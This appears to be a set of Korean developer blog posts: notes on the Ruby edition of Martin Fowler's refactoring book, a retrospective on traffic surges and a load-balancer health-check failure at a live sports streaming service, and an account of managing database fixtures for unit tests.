  - 삼항 연산자 대입문을 or을 이용해 표기
```ruby
parameters = params ? params : [];
parameters = params || [];
```
- 조건문을 명시적 return 문으로 교체

```ruby
return 2 if days_rented > 2
1
```

- Consolidate Conditional Expression
  - 조건문을 합침으로써 가독성 증가 및 메서드 추출의 가능성을 만들 수 있음
- Consolidate Duplicate Conditional Fregments
  - 조건문의 모든 구간에 같은 코드가 있으면 밖으로 빼낸다. 당연한 내용.
- Remove Control Flag
```ruby
# don't do this
done = false
	until done do
	if ( condition )
		# do something
		done = true
	end
	value -= 1
end
```
```ruby
# instead of ...
until done do
	if ( condition )
	# do something
	return value
	end
	value -= 1
end
```
- done 같은 제어 플래그를 쓰는 대신 return 으로 빠져나가게끔 작성한다.
  - 이러한 제어 플래그는 구조적 프로그래밍에서 사용했던 문법의 잔재
- Replace Nested Conditional with Guard Clauses
  - if-then-else 구조는 읽을 때 if 절과 else 절의 중요성이 똑같다고 판단하게끔 한다.
  - if-else 절이 복잡할때 특이한 case들은 검사( 감시절 : guard clause )하여 return 시킨다
  - “이것은 드문 경우이니 이 경우가 발생한다면 작업을 수행한 후 빠져나가라”
  - 현재 코드의 model 코드에 비슷한 코드
- Replace Conditional with Polymorphism
  - 타입 등으로 다른 동작을 조건문을 통해 분기시킬 때 재정의(다형성)을 이용
- Null 검사를 널 객체에 위임
  - 위와 비슷하게 null 검사도 조건문을 통해 검사하지 말고 클래스에 해당하는 널 클래스를 작성
  - 필요성?
- Introduce Assertion
  - 현재 코드에선 단위 테스트가 이 기능을 하고 있는 것 같다.
  - 또한 단위 테스트가 실제 로직 코드 파일과 분리되어 있고 다양한 케이스를 추가할 수 있음

Chap 10: 메서드 호출 단순화

- Rename Method
- 네이밍. 당연해서 부가 설명 필요 없음
- Add Parameter <-> Remove Parameter
- 매개변수가 계속 길어지면 가독성이 안좋아지는 경우가 많다. 추가보단 정리를 권함
- 매개변수가 많을 시 객체로 묶을 수 있는 지 체크
- Separate Query from Modifier
- 상태 변경 등 액션 + 리턴을 동시에 하는 메서드가 있으면 둘을 분리
- 합쳐져 있을 경우 눈에 띄지 않는 부작용이 생길 수 있음
  - ex 여러번 값 조회 테스트 시 내부 상태 값이 예상치 못하게 변하는 케이스
- 멀티스레딩 환경 개발 시에도 예외는 없다. 값 조회, 상태 변경 기능을 분리 작성 후, 제 3의 메서드에서 합쳐서 사용하면 문제도 안생기고, 모듈화된 두 메서드도 재사용 가능하다.
- Replace Parameter with Explicit Methods
- 매개변수에 따라 분기해 다른 코드를 실행할 경우엔 아예 메서드를 분리시켜 버리라는 내용

```ruby
set_value("height", 10) , set_value("width", 50)
-> height(10), width(50),
```

  - 매개변수가 가변적이면 하지 않는게 좋다.
- Preserve Whole Object
		- 객체에서 가져온 여러 값을 파라미터로 전달하고 있는 경우, 아예 객체를 전달
- Replace Parameter with Method
  - A메서드 결과를 B메서드에 파라미터로 전달한다. 근데 B 내에서도 A메서드를 호출 가능
  - -> B 내에서 A메서드를 호출하게 한다. 당연함
- Introduce Parameter Object
  - 전달되는 파라미터가 붙어 다닐 경우 객체로 묶는 것을 고려 ( Preserve Whole Object 와 비슷 )
- Remove Setting Method
  - 필드 값이 변경 후 수정되면 안될 경우 쓰기 메서드를 제거
- Hide Method
  - 메서드가 다른 클래스에 사용되지 않을 경우 private으로 작성
- Replace Constructor with Factory Method
  - 생성자 내에 생성할 객체 타입이 변하거나 로직이 복잡할 경우 팩토리 메서드로 전환
- Replace Error Code with Exception
  - 에러 코드 대신 예외를 사용하라는 내용
  - ruby에 예외 기능이 있어 사용하라는 것 같은데 언어에 따라 다를 수도 있을 것 같다.
  - 시스템 상 예측하지 못한 에러면 예외를 발생시키는게 맞지만 단지 비즈니스 로직 상 실패를 처리할 경우를 모두 예외처리를 하는 것도 안좋은 방식이라는 글을 본적이 있다. ( Java를 비판하는 글로 기억 )
- Introduce Gateway / Introduce Expression Builder
  - 외부 시스템이나 리소스의 복합 API를 연동해야 할 경우 공통으로 지나는 부분을 모듈화
  - + builder 패턴
  - 현재 앱단 코드의 service 쪽을 생각하면 된다.

Chap 11: 일반화 처리
- Pull Up Method <-> Push Down Method
  - 여러 하위클래스에 중복 메서드가 있으면 상위 클래스로 메서드 이동
  - 상위클래스에 있는 기능이 일부 하위클래스에만 관련돼 있을 때는 관련 하위클래스로 이동
- Extract Module <-> Inline Module
  - 여러 클래스에 같은 동작이 있을 때는 모듈로 분리하고 각 클래스에서 include
  - 문법은 다르지만 java의 interface와 비슷한 의도로 추정
- Extract Subclass
  - 클래스에 일부 인스턴스만 사용하는 기능이 있을 경우
  - 하위클래스 작성 후 Push Down Method
- Introduce Inheritance
  - 여러 클래스의 기능이 비슷할 경우
  - 상위 클래스 작성 후 공통 기능을 Pull up Method
- Collapse Hierarchy
  - 상위클래스와 하위클래스가 별로 다르지 않을때는 합침
- Form Template Method
  - 하위클래스들의 메서드의 진행 순서는 비슷하지만 같지는 않은 경우 (a`+b`), (a``+b``)
  - 메서드 내 공통 부분을 묶어서 템플릿 메서드의 조합으로 만듬 (a와 b)
  - 그 후 Pull up Method (a+b)
- Replace Inheritance with Delegation
  - 하위클래스가 상위클래스의 극히 일부만 사용할 경우 상속의 의미가 적어진다.
  - 필드를 추가 후 필요한 기능만 위임해서 사용
  - ex) Hash의 기능 일부를 쓴다고 Hash를 통째로 상속 받는 것보단 Hash 형태 의 필드를 추가 후 필요한 기능만 위임 처리
- Replace Delegation with Hierarchy
  - 대리 객체의 위임을 많이 작성하게 된다면 차라리 계층 구조로 만드는 것이 나음
- Replace Abstract Superclass with Module
  - 상속 구조이나 상위클래스를 인스턴스화 시킬 의도가 없을 때
  - Java의 Abstract가 ruby에는 없으므로 module로 구현
  
비판
	- 마틴 파울러
		- 내용이 길고 장황한 것에 비해 남는게 없다 ?
		- -> 그나마 호평을 받은 책은 '클린 코드' 정도.

"리팩토링: 루비 에디션" 후기

# **2017년 8월 27일 일요일 08시 - 메이웨더 vs 맥그리거**

### 당일 신규 유저 유입 13,844

![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/traffic01.jpg)

![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/traffic02.png)

![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/traffic03.png)

# 2017년 12월 9일 토요일 - 동아시안컵 한중전

### 당일 신규 유저 유입 24,070

![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/traffic04.jpeg)

![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/traffic05.png)

![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/traffic06.png)

# 2017년 12월 23일 토요일 21시 - 엘 클라시코

### 당일 신규 유저 유입 100,852, DAU는 그 이상 추정

![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/traffic07.jpg)

![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/traffic08.png)

![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/traffic09.png)

![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/traffic10.png)

사건 후 ab(apache benchmark)를 통해 실시한 부하 테스트 중 한 장면

### 상황 정리 및 대처 시도 - 12월 9일 한중전

- 당시 상황
  - 신규 유입 유저 2만명대. DAU는 그 이상으로 추정. 당시 셋업된 서버 현황은 cafe24 퀵서버 호스팅 기반 웹서버 2대, CDN서버 2대, DB서버 2대, 신규 유저 가입이 많아 write DB에 먼저 무리가 갈 것을 법했지만 그렇지는 않았습니다. 추후 원인은 엉뚱한 다른 곳에서 발견됩니다.
- 문제 발생
  - 시작 직후에 생각보다 빠르게 즉시 서버가 다운. 문제는 web1, DB, 이미지 서버는 거의 idle한 상태인데 web2 서버와 로드밸런서만 다운되는 현상을 발견.
- 사후 원인 점검
  - 로드밸런서가 정상적으로 동작하지 않아 web2에만 트래픽이 몰리는 것이 원인이었습니다. 로드밸런서가 http request를 보내 response code가 200으로 돌아와야 정상으로 간주하는데 당시 web1 서버로 root 주소에 request를 보내면 404를 리턴하여 비정상 상태로 간주하고 web2로만 트래픽을 보냈던 것이었습니다.
  - 당시에는 로드밸런서가 http로도 health를 체크한다는 생각을 못했으나 추후 나중에 공부해보니 L7 스위치는 http로도 health-check를 합니다.
  - 즉 사전에 health-check를 어떻게 하는지에 대한 커뮤니케이션 혹은 리서치 후 동작여부를 체크했어야 하는데 ( 아니어도 보통 http로 많이 합니다 ) 그렇지 못함이 원인인 것 같습니다.
- 추후 대처
  - 각 서버를 3대씩 늘려 총 15대 서버 구축, 호스팅에서 제공하는 모니터링 정보 대신 직접 모니터링 시스템을 구축하였습니다.
  - 리팩토링, redis 캐시 도입, css/js merge, svg spriting, gzip 도입, fpm/MySQL/nginx 옵션값 조정 후 apache benchmark를 통한 부하 테스트를 추가로 실시했습니다.
- 회고
  - 바닥부터 만든 서비스로 이정도의 트래픽을 실시간으로 관찰해볼 수 있는 값진 경험이었습니다. 소규모 서비스 및 토이 프로젝트만으로는 겪기 어려운 상황이기 때문입니다.
  - 사내에서는 서버 호스팅 업체로 항상 cafe24의 서버 호스팅을 사용했습니다. 가성비가 매우 좋았기 때문에 소규모 서비스 구축에는 매우 적합한 선택이라고 생각합니다.
  - 그러나 스포티비나우 같은, 서비스가 커지고 scale-out이 필요한 상황에서 cafe24 엔지니어와 직접 조율하는 등 불편함과 커뮤니케이션 오류 리스크가 있습니다. 그래서 저는 이런 리스트를 감당하는 것 보다는 AWS를 도입 및 공부를 하여 대응 및 관리를 하는 것이 지출이 더 커 보여도 리스크를 감안하면 더 낫다고 주장했습니다.
  - 하지만 결국 AWS 도입은 추후를 기약하는 것으로 결론지었습니다. 이유는 아래와 같습니다.
    1. 어차피 반복 작업을 하다보면 cafe24 엔지니어들과 조율 과정은 루틴화 될 것
    2. AWS를 적용하게 되면 분명 추가적인 AWS 공부가 필요
    3. CTO가 구축해둔 CI/CD 스크립트에도 수정 소요가 들어가는데 굳이 그렇게 할 메리트가 없음
    4. 서버 비용 증가


실시간 스포츠 중계 플랫폼 개발을 통한 트래픽 급증 경험

## 서론

올바른 소프트웨어 개발에 있어서 단위 테스트는 반드시 필요하다고 생각합니다. 그러나 의외로 많은 개발자와 개발팀들이 적용의 필요성을 느끼면서도 개발 프로세스에 단위 테스트를 녹여넣는 것에 실패하곤 합니다.

## 단위 테스트의 필요성

때는 2017년 3월쯤, "카링" 프로젝트 초기 api 설계를 할 때입니다. 이 당시에는 개발을 하며 단위 테스트를 수행하지 않았습니다. 그러던 와중 비즈니스 로직 및 모델 단이 복잡해짐에 따라 이 문제점을 해결하기 위해 단위 테스트를 도입하면 어떨까 하는 생각이 들었지만 이전과 같은 한계에 부딫혔습니다. 

## 단위테스트 vs 데이터베이스

그 한계란 바로 데이터베이스입니다. 원하는 테스트는 실제 코드 로직을 타면서 언제나 실행해도 같은 결과를 보장, 소위 "멱등성"을 지녀야 한다고 생각했는데, 모델은 데이터를 변조시키기 때문에 그렇지 못합니다. 간단한 예로 CRUD에서 Read 기능 개발을 할 때의 경우는 원하는 결과가 안나오면 수정 후 다시 실행시켜도 문제 없습니다. Read는 데이터를 변조시키지 않기 때문이다. 그러나 나머지의 경우는 아닙니다.

"카링" 기능의 예를 들어보겠습니다. 매장 유저는 기간 내 노출되는 키워드들을 구매하고 연장할 수 있습니다. 만약 기간 연장 기능 개발 시 버그를 발견하였다고 가정하겠습니다. "기존에 있는 '세차' 키워드를 1달 연장 시 2달이 연장"되는 버그가 있다고 가정합니다. 버그를 발견하기 위해 코드를 실행 시키는 순간 데이터는 변조됩니다. 만약 버그를 발견하지 못할 시 같은 데이터 state를 확보해야 하고 이 과정에 행이 걸릴 수록 개발-테스트의 이터레이션 속도가 줄어들게 되고 개발자의 피로감도 증가하게 됩니다.

팀 내에서 당시 생각해낸 방법은 local에 테스팅DB와 yml 기반 fixture를 각각 만들어 둔 후

> "실DB에서 스키마만 테스팅 DB로 덤프 → fixture를 테스팅DB에 로드 → ci-phpunit-test 기반 테스트

의 과정을 거치는 것입니다. 매 테스트마다 mysqldump export, import 를 거치면 느리지 않을까 생각했는데 스키마만 덤프할 경우에는 꽤 빠릅니다.

어떻게 보면 무식한 방법이라고 생각할 수도 있겠지만 단순한 접근이 답일 때도 있습니다. 어쨌든 결과적으로 데이터를 변조하는 테스트가 있다고 해도 계속 실행해도 같은 결과가 나옵니다. 또한 데이터 조회 결과를 test double 등으로 저장했다가 가져쓰는게 아닌 실제 DB단까지 갔다 온 데이터이므로 신뢰성 및 test double 관리 이슈가 사라집니다.

이리하여 걱정없이 테스트를 실행해 볼 수 있게 되므로 개발자가 더욱 대담해지게 되고, 비즈니스 로직 개발에 집중할 수 있게 되었습니다.

## Fixture Editor

위에서 언급한 yml 기반 fixture는 말 그대로 db에서 dump해와 파일로 따로 관리하는 모델 정보입니다.

```bash
f9 fixture import stores id=100
# SELECT * from stores from where id = 100 을 통해 조건에 맞는 row들을 불러와 yml로 저장
```

```yaml
# fixtures/stores/100.yml
id:100
name:"송도카센터"
categoryId:34
phoneNumber:"01011112222"
```

이슈가 있다면 실DB에 스키마 변경이 있을 경우 해당 fixture들을 다시 로드해야 한다는 점이고, 한 눈에 픽스쳐들을 보기 힘들다는 점입니다.

그리하여 이 fixture 자체를 관리할 수 있는 엑셀과 비슷한 형태의 UI를 form 형태로 간단히 만들어 조회 및 저장, save 시 import를 일괄적으로 수행하여 스키마 싱크가 가능하도록 했습니다.

## 한계점 발견

결국 스키마 싱크가 완전 자동화가 되지 않았고, fixture가 git을 통해 소스로 공유되다보니 permission 이슈, 혹은 충돌나는 이슈도 많았습니다. 정확히는 fixture 값을 수정하는 케이스보다는 스키마를 변경하고 fixture 싱크를 돌린 상황이 많습니다.

또한 relation이 있는 경우 해당 relation을 찾아가 import 해주는 과정이 번거롭습니다. 예를 들어 위 케이스의 경우 id=100인 stores만 import하면 테스트가 정상적으로 작동하지 않습니다. 왜냐하면 id=34인 categories 가 import 되지 않았을 수도 있기 때문입니다. 이런 경우 직접 찾아가며 해당하는 fixture를 모두 import 시켜주어야 한다는 이슈가 있습니다.

## Fixture 자체도 DB로 관리할까?

1. diff 조회로 스키마 체크 개선
2. relation scanning 기반 import 개선

레이블그룹에서 사용하던 기존의 fixture는 파일 베이스 이기 때문에 파일 자체의 permission, DB의 schema가 변했을 때 관리에 이슈가 있었습니다. 그렇다고 DB 베이스로 하기에는 싱크 과정이 복잡할 것으로 당시에는 판단했습니다.

그 무렵 node.js로 플랫폼 전환을 하게 되면서 기존의 php script에서 node.js 기반으로 새로운 fixture-manager를 만드는 업무를 맡게 되었는데, npm 기반의 라이브러리가 있나 리서치하게 되었는데 이런 라이브러리가 있었습니다.

[dbdiff](https://www.npmjs.com/package/dbdiff)

두 데이터베이스의 스키마를 조회하여 그 차이를 alter table 쿼리로 만들어 리턴하는 라이브러리였습니다.

```jsx
var dbdiff = require('dbdiff')
 
dbdiff.describeDatabase(connString)
  .then((schema) => {
    // schema is a JSON-serializable object representing the database structure
  })
 
var diff = new dbdiff.DbDiff()
// Compare two databases passing the connection strings
diff.compare(conn1, conn2)
  .then(() => {
    console.log(diff.commands('drop'))
  })
 
// Compare two schemas
diff.compareSchemas(schema1, schema2)
console.log(diff.commands('drop'))
```

기존 방식은 두 데이터베이스를 mysqldump 를 통해 create table 쿼리를 만들어 두 해시값을 비교해 다를 경우 새로 dump하는 방식이었는데, 이 방식보다 훨씬 빠르게 스키마 체크 및 업데이트가 가능하게 되었습니다.

![](https://pihxnuyialxsmkzxlpjj.supabase.co/storage/v1/object/public/bucket01/fixture01.png)

또한 소스 내에서 공유하는 방식 대신 서버에서 fixture를 관리 할 수 있도록 하기 위하여 서버에 <DB이름>_fixture 라는 새로운 DB를 만들 수 있도록 하여 단위 테스트 실행 시 마다 db-diff로 체크 및 업데이트하도록 했습니다. alter table 기반이므로 새 필드가 추가되면 기본값으로, 삭제될 경우 삭제되기 때문에 그 자체로 이슈는 없습니다. 그 후 로컬에 있는 fixture에는 mysqldump를 통한 완전 복사(캐싱) 후 임포트 하는 식으로 했습니다. depth가 많아진듯 보이지만 실제로는 더 안정적으로 픽스쳐를 관리 할 수 있게 되었습니다.

또한 relation 관련 import 이슈가 단순히 해결되지 않는 이유는 fk를 사용하지 않고 컨벤션에 의존하게 되어 자동화된 스키마 분석이 불가능하기 때문입니다. 그리하여 테이블, 필드명을 모두 가져와 컨벤션을 기반으로 파싱하여 스키마 탐색 결과를 확보했습니다.

```php
class Store extend Model {
	var $id;
	var $category_id;
	var $name
}
```

```php
class Category extend Model {
	var $id;
	var $name
}

```

예를 들어 위 케이스의 경우 category_id는 Category 모델과 연결된 fk입니다. 실제로 fk는 걸지 않았지만 index만 걸고 '테이블단수명_id'로 끝나는 필드는 fk라는 컨벤션을 유지한 상황입니다.

이러한 정보를 바탕으로 Store에서 한 row를 import 후, 그 row에 category_id의 값으로 Category 테이블에서 추가적으로 데이터를 가져옵니다. 즉 한 특정 모델에서 데이터를 import 해도 many to one 관계에 있는 테이블도 recursive하게 가져올 수 있도록 처리했습니다. 반대로 one to many한 관계에 있는 데이터도 optional하게 가지고 올 수 있도록 처리했습니다.